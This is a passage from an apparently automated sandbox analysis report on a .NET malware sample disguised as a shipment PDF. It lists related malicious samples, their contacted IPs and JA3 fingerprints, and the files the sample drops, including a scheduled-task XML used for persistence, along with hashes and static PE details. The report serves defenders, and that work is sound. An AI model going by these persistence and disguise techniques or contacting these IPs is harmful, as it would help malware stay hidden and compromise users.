	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
PUBLIC-DOMAIN-REGISTRYUS	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	103.53.42.63
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Quote_8714.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	S1a5ZF3ytp.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	103.53.42.63
	h0UP1BcPk5.lnk	Get hash	malicious	Unknown	Browse	216.10.240.70
	Ti5nuRV7y4.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	119.18.54.39
	m30zZYga23.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	PO82200487.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Bloxflip Predictor.exe	Get hash	malicious	Njrat	Browse	172.67.177.134
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	svhost.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	adv.ps1	Get hash	malicious	LummaC	Browse	149.154.167.220
	d2W4YpqsKg.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	https://nam.dcv.ms/0CX72Iqyxf	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

Process:	C:\Users\user\AppData\Roaming\FZcXKpA.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Shipment 990847575203.pdf.exe.log

Download File

Process:	C:\Users\user\Desktop\Shipment 990847575203.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.380134126512796
Encrypted:	false
SSDEEP:	48:+WSU4xc4RTmaoUeW+gZ9tK8NPZHUxL7u1iMugeC/ZPUyus:+LHxcIalLgZ2KRHWLOug8s
MD5:	237040D0D4DC4DA299B8838DD92E89BB
SHA1:	7899A4051517B40A9D92301967AA5FE0E2C8339A
SHA-256:	AD50548E9B2B4F234ECAA75A6694D331540EFC433CB392C65ED509084D640431
SHA-512:	101A9725001A400F8F63EADF315F503D84F3CE001468F3CB0BB9BC1DF074A9C9C1D9AC814DAF941CCB3962ED0DDC448F0631CE5340E257E6E3396F6904D84B45
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.ConfigurationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.................%...K... ...........System.Xml..<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2vdtxqax.yf3.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ihoqpt4.bci.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aiilwtzw.csc.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ibpgt0ua.skv.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j2ekkjtr.r52.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_n4uz423r.qwy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sqto3w3s.kza.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uv5etlbn.zuu.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp3382.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\FZcXKpA.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.102543954957388
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLxxvn:cge7QYrFdOFzOzN33ODOiDdKrsuT7v
MD5:	7BBD543C72679D7BFA194510F0063296
SHA1:	4AD700FB88EFAD8B2E1F39BE1D4B9A63A7E1AD4E
SHA-256:	0EF64E7F3C36200CE255C21AA94B7D70B3F45FE70437D5F3B061A311DBF549A0
SHA-512:	2C867C1AA300A7FEC2DAB0E6FDDD501CA205DD694B76E1809A8EC39A2E2B84D0F09150F50416BD44D0AF527FA6826DF58C8021E230651A2716D0F84025056C08
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Local\Temp\tmp56D.tmp

Download File

Process:	C:\Users\user\Desktop\Shipment 990847575203.pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1594
Entropy (8bit):	5.102543954957388
Encrypted:	false
SSDEEP:	24:2di4+S2qhHb1eHky1mIHdUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtLxxvn:cge7QYrFdOFzOzN33ODOiDdKrsuT7v
MD5:	7BBD543C72679D7BFA194510F0063296
SHA1:	4AD700FB88EFAD8B2E1F39BE1D4B9A63A7E1AD4E
SHA-256:	0EF64E7F3C36200CE255C21AA94B7D70B3F45FE70437D5F3B061A311DBF549A0
SHA-512:	2C867C1AA300A7FEC2DAB0E6FDDD501CA205DD694B76E1809A8EC39A2E2B84D0F09150F50416BD44D0AF527FA6826DF58C8021E230651A2716D0F84025056C08
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <Run

C:\Users\user\AppData\Roaming\FZcXKpA.exe

Download File

Process:	C:\Users\user\Desktop\Shipment 990847575203.pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	827392
Entropy (8bit):	7.714922075712128
Encrypted:	false
SSDEEP:	12288:jIC25usx+XtVUW1r4s7yy8FqY4uszmSpx0DzibplrdV26XyGnP/Ge/A:gx82VPFqY4usn0DzIVNXygPea
MD5:	8626A0C350243B5390ABF5DEE2A40641
SHA1:	8337486FBBECE35E03456500B23C5044466419C7
SHA-256:	D16A272916C70064157E0CEF6770FF47ED874369E4DB36AE0A569DD85357EFCA
SHA-512:	5B91943DB6E0B79FB6F776E4EB1337A54295688C09168EAD60EAE238B2BE51CDB64CE3518643624D569163E4FEE8A8E9CD374E0EDDD59E13C13F523EAFEC793D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>Mg..............0..~... ........... ........@.. ....................................@.....................................O.......<............................................................................ ............... ..H............text....}... ...~.................. ..`.rsrc...<...........................@..@.reloc..............................@..B........................H...........H............T...G..........................................R.(......(.....(....N..(....s....o....&N..(....s....o....&N..(....s....o....&..(....z.,..{....,..{....o......( ....0...........s!...}.....s"...}.....s"...}.....s"...}.....s"...}.....s#...}.....s#...}.....{....o$....($....{.....o%....{....o&...."...Bs'...o(...&.{....o)....{......o....{....o)....{......o....{....o)....{......o....{....o)....{......o....{....o)....{......o....{....o)....{......o.

C:\Users\user\AppData\Roaming\FZcXKpA.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Shipment 990847575203.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.714922075712128
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Shipment 990847575203.pdf.exe
File size:	827'392 bytes
MD5:	8626a0c350243b5390abf5dee2a40641
SHA1:	8337486fbbece35e03456500b23c5044466419c7
SHA256:	d16a272916c70064157e0cef6770ff47ed874369e4db36ae0a569dd85357efca
SHA512:	5b91943db6e0b79fb6f776e4eb1337a54295688c09168ead60eae238b2be51cdb64ce3518643624d569163e4fee8a8e9cd374e0eddd59e13c13f523eafec793d
SSDEEP:	12288:jIC25usx+XtVUW1r4s7yy8FqY4uszmSpx0DzibplrdV26XyGnP/Ge/A:gx82VPFqY4usn0DzIVNXygPea
TLSH:	4005F04532699907D6B687F00A31F1B81BFD6E99A902E3DB4EC66DDFB8E1F004950723
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....>Mg..............0..~... ........... ........@.. ....................................@................................

File Icon


Icon Hash:	5ba4a66a2a263095

Static PE Info

General

Entrypoint:	0x4c9d12
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x674D3EA7 [Mon Dec 2 04:59:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc9cc0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xca000	0x1c3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xcc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc7d18	0xc7e00	42a40af9d0073a3de206d8301ebc8191	False	0.8849561737804879	data	7.722678416773331	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xca000	0x1c3c	0x1e00	41233fcf7c005885ff8ba3b621cbece4	False	0.80546875	data	7.066333721484277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xcc000	0xc	0x200	597ae62ac98f166b7cdc11701f231456	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xca100	0x164f	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.951672211521625
RT_GROUP_ICON	0xcb760	0x14	data	1.05
RT_VERSION	0xcb784	0x2b8	COM executable for DOS	0.4511494252873563
RT_MANIFEST	0xcba4c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

